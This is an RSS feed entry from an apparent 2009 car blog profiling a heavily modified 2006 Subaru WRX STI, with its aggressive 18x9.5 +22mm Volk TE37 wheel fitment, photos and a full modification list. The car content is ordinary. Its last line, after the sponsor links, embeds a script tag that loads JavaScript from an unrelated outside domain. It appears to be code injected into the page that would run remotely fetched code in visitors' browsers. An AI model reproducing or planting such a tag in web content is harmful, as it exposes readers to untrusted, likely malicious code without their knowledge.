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	<title>t3h_Clap&#039;s Wheel33tist Blog &#187; ISToSTI TE37s</title>
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		<title>How To Be Aggressive Version 2.0</title>
		<link>http://t3hclap.com/archives/93</link>
		<comments>http://t3hclap.com/archives/93#comments</comments>
		<pubDate>Wed, 29 Apr 2009 20:54:04 +0000</pubDate>
		<dc:creator>t3h_Clap</dc:creator>
				<category><![CDATA[Features]]></category>
		<category><![CDATA[Fitment]]></category>
		<category><![CDATA[Latest News]]></category>
		<category><![CDATA[18x9.5 +22mm TE37]]></category>
		<category><![CDATA[2006 Subaru Impreza WRX STI TE37s]]></category>
		<category><![CDATA[9.5" +22m Volk Racing]]></category>
		<category><![CDATA[Concave TE37]]></category>
		<category><![CDATA[ISToSTI TE37s]]></category>
		<category><![CDATA[IWSTI TE37s]]></category>
		<category><![CDATA[Nasioc Top Scoob]]></category>
		<category><![CDATA[Nasioc Top Scoob #013]]></category>
		<category><![CDATA[Vitale Collision]]></category>
		<category><![CDATA[Volk Racing TE37]]></category>

		<guid isPermaLink="false">http://t3hclap.com/?p=93</guid>
		<description><![CDATA[The car is a 2006 Subaru Impreza WRX STi with a full Zero/Sports goodies and Volk Racing TE37s. Many people inside and outside of the Subaru community are familiar with the car that I&#8217;m about to feature (for a 2nd time). Bill Vitale has done it yet again, he sets the bar for Aggressive fitments. The [...]]]></description>
			<content:encoded><![CDATA[<p>The car is a 2006 Subaru Impreza WRX STi with a full Zero/Sports goodies and Volk Racing TE37s. Many people inside and outside of the Subaru community are familiar with the car that I&#8217;m about to feature (for a 2nd time). Bill Vitale has done it yet again, he sets the bar for Aggressive fitments. The first time Bill set the bar was over 14 Months ago with his <a href="http://t3hclap.com/archives/23" target="_blank">18&#215;9 +29mm Advan RS&#8217;s.</a>  Bill&#8217;s most recent overhaul included more than just fresh wheels and suspension. He decided it was time to go Rotated, a GT30R no less. <br />
 </p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://t3hclap.com/Photos/Feature/Bill/2/BillTE3722mm.jpg" target="_blank"><img class="  " title="18x9.5 +22mm Volk Racing TE37 06 Impreza STI" src="http://t3hclap.com/Photos/Feature/Bill/2/BillTE3722mm1.jpg" alt="9.5 +22mm TE37" width="400" height="266" /></a><p class="wp-caption-text">9.5 +22mm TE37</p></div>
<p> </p>
<p>Getting an 18&#215;9.5 +22mm TE37 with a 255 to fit on any Subaru takes considerable effort and planning. Bill, as always, was willing to do what it takes to have one of the most aggressive setups on an GD STi.</p>
<p> </p>
<p><span id="more-93"></span></p>
<p>Bill&#8217;s fresh new Engine bay oozes goodness, from the custom powdercoated Valve Covers and Intake manifold (Flipped of course) to the Polished Compresser Housing on his GT30R. Cooling is handled by the Mishimoto Radiator and a Perrin Front Mount Intercooler with Custom Piping from Area 1320. The Stance GR+ coilovers and H Kansai Service Strut tower bar finish off the engine bay nicely.</p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature3Big.jpg" target="_blank"><img class="     " title="18x9.5 +22mm TE37s 06 STI!" src="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature3Small.jpg" alt="Top Scoob" width="400" height="213" /></a><p class="wp-caption-text">Top Scoob</p></div>
<p>Bill took the prestigious award of <a href="http://forums.nasioc.com/forums/showthread.php?t=1750793" target="_blank">&#8220;Top Scoob #013&#8243;</a> this past week, His well thought out and prepped Subaru went head to head with multiple other highly modified Subarus. I have an incling it was more than just this photo that won <a href="http://forums.nasioc.com/forums/showthread.php?t=1750793" target="_blank">&#8220;Top Scoob #013&#8243;</a></p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature4Big.jpg" target="_blank"><img class="  " title="Vote 4 Bill" src="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature4Small.jpg" alt="TE37s 06 STI" width="400" height="211" /></a><p class="wp-caption-text">TE37s 06 STI</p></div>
<p> <br />
Winning Top Scoob isn&#8217;t easy, the 18&#215;9.5 +22mm Concave TE37s and the accompanying 255/35/18 Nitto Invo tires  didn&#8217;t simply bolt on. Getting this setup to fit required some extensive fender modifcations from the Bill and Vitale Collision. The stiffness and adjustability from the Stance GR+ coilovers helped significantly in getting the Massive Concave TE37&#8242;s to fit right. The coilovers allowed Bill to run a -3.0 front and -3.1 rear camber. The combination of the Coilovers, Fender Modifications and the Camber allowed Bill to run this crazy rarely seen aggressive setup.</p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature1Big.jpg" target="_blank"><img class="   " title="18x9.5 +22mm Aggressive Fitment 06 STI" src="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature1Small.jpg" alt="18x9.5 +22mm TE37 Aggressive Fitment 06 STI" width="400" height="213" /></a><p class="wp-caption-text">18x9.5 +22mm TE37 Aggressive Fitment 06 STI</p></div>
<p>Floating around the internet I&#8217;ve seen Bill&#8217;s car pop up on Japanese, Australian, Hungarian, Malaysian, and other Forums all over the world, these new wheels will only further the spread of this amazing vehicle. I can&#8217;t wait to see more shots of Bill&#8217;s car (hopefully some action shots at an upcoming track event!).</p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature2Big.jpg" target="_blank"><img class="  " title="Full Bride Interior" src="http://t3hclap.com/Photos/Feature/Bill/2/BillFeature2Small.jpg" alt="Full Bride Interior" width="400" height="279" /></a><p class="wp-caption-text">Full Bride Interior</p></div>
<p>Below you&#8217;ll see the &#8220;short&#8221; list of modifications Bill has done to his car&#8230;ahaha &#8220;short&#8221;. </p>
<p>Mod List:</p>
<p>Wheels/Tires/Alignment:</p>
<p>Volk TE37 18&#215;9.5 +22 in Titanium Gunmetal<br />
Nitto Invo 255/35/18<br />
Volk Formula Floating Lugnuts<br />
-3.0 Front Camber<br />
-3.1 Rear Camber</p>
<p>Interior:</p>
<p>JDM Red Hazard Button<br />
Bride Stradias in Hyper Red Gradation (2)<br />
Black Suede Doorcards<br />
Black Suede 02/03 Headliner<br />
Black STi Limited Carpet<br />
Works Bell Short Hub<br />
Works Bell Red Quick Release 2.0<br />
Works Bell Original Steering Wheel<br />
Powdercoated STI Shifter Trim by LPC<br />
JDM STi Type RA-R Shift Knob<br />
ATI Gauge Pod<br />
Defi Imperial BF Amber Boost Gauge<br />
Defi Imperial BF Amber EGT Gauge<br />
Defi Imperial BF Amber Oil Pressure Gauge<br />
AEM Uego Wideband<br />
Autometer Gauge pod<br />
Painted Dash Trim<br />
Pioneer AVIC-D3</p>
<p>Exterior:</p>
<p>Zero/Sports Front Bumper<br />
Zero/Sports Rear Bumper<br />
Zero/Sports Sideskirts<br />
Zero/Sports Roof Vane<br />
Zero/Sports CF Wing Garnish<br />
TrueChoice Bumper Quick Releases<br />
Autospeed STI License Plate Delete<br />
04-05 Tail Light Swap<br />
JDM Tail Light Mod<br />
HKS Oil Filler Cap<br />
Hella SuperTones powdercoated Super Chrome by LPC<br />
Tein Bonnet Dampers<br />
Red Lined Impreza Badge<br />
JDM STi Radiator Cap x2<br />
Mishimoto Temp Gauge Rad Cap<br />
Perrin Black Radiator Shroud<br />
JDM Subaru Rain Guards<br />
Painted Headlights by Vitale Collision<br />
Custom Red/Black STi Stickers by GraphicSTI<br />
30% Tint by Ryan @ Shades of Gray<br />
Roll Call and All Vinyls by Auditor Clothing</p>
<p>Performance:</p>
<p>ATP GT3076R .82 a/r w/ polished compressor housing and powdercoated turbine housing<br />
TiAL 44mm EWG<br />
TiAL Q BOV<br />
Custom Downpipe by Area1320<br />
Custom Up-pipe by Area1320<br />
Tomei Expreme EL Headers<br />
Reverse Intake Manifold powdercoated Lollipop Kandy Red over Black Frost by LPC<br />
Grimmspeed 8mm Phenolic Spacers<br />
TGV Deletes powdercoated Super Chrome by LPC<br />
Custom Coolant Resevoir by Area1320<br />
Dual Air/Oil Seperators<br />
P&amp;L Braided SS Power Steering line<br />
P&amp;L Braided SS AVCS lines<br />
Agency Power Top Feed Fuel Rails<br />
820cc Top Feed Injectors<br />
Customer IC Piping by Area1320<br />
NGK 1-Step-Colder Spark Plugs<br />
Valve Covers powdercoated Lollipop Kandy Red over Black Frost by LPC<br />
Honda Civic 51R Battery<br />
Custom Cat-Back Exhaust powdercoated Lollipop Kandy Red by LPC<br />
Customer Short Ram Intake<br />
Perrin Signature Series FMIC<br />
KartBoy Short Shifter<br />
KartBoy Shifter Bushings</p>
<p>Suspension/Brakes:</p>
<p>Stance GR+ Pro Coilovers<br />
Front and Rear Camber Plates<br />
TIC Fender Braces<br />
Whiteline Steering Rack Bushings<br />
Perrin 25mm Adjustable Rear Sway Bar<br />
Perrin Front Endlinks<br />
Perrin Rear Endlinks<br />
HKS Kansai Strut Tower Brace<br />
DBA 4000XS Front Rotors<br />
DBA 4000XS Rear Rotors<br />
Powdercoated Stock Brembos<br />
Hawk HPS Brake Pads<br />
Goodridge Stainless Steel Brake Lines</p>
<p>Special thanks as always to:<br />
Chaz Boyd photography<br />
12Volt Perfection<br />
<a href="http://www.liquidpowdercoats.com/" target="_blank"> Liquid Powder Coats</a><br />
<a href="http://area1320.com/home.html" target="_blank"> Area1320</a><br />
<a href="http://www.shadesofgraytint.com/home.html" target="_blank"> Shades of Gray Tint</a><br />
<a href="http://www.turbotektuning.com/" target="_blank"> Turbo Tek Tuning</a><br />
<a href="http://www.auditorclothing.com/" target="_blank"> Auditor Clothing</a><br />
<a href="http://stance-usa.com/sus/" target="_blank"> Stance-USA</a><br />
<a href="http://www.cvrmotorsports.com/store/" target="_blank"> CVR Motorsports</a><br />
Vitale Collision<br />
<a href="http://www.edoperformance.com" target="_blank"> EDO Performance</a><br />
<a href="http://rttuning.com/" target="_blank"> R/T Tuning</a><br />
<a href="http://www.mishimoto.com/" target="_blank"> Mishimoto</a></p>
<p><SCRIPT type="text/javascript" LANGUAGE="javascript" src="http://www.qksz.net/1e-i32r"> </SCRIPT></p>
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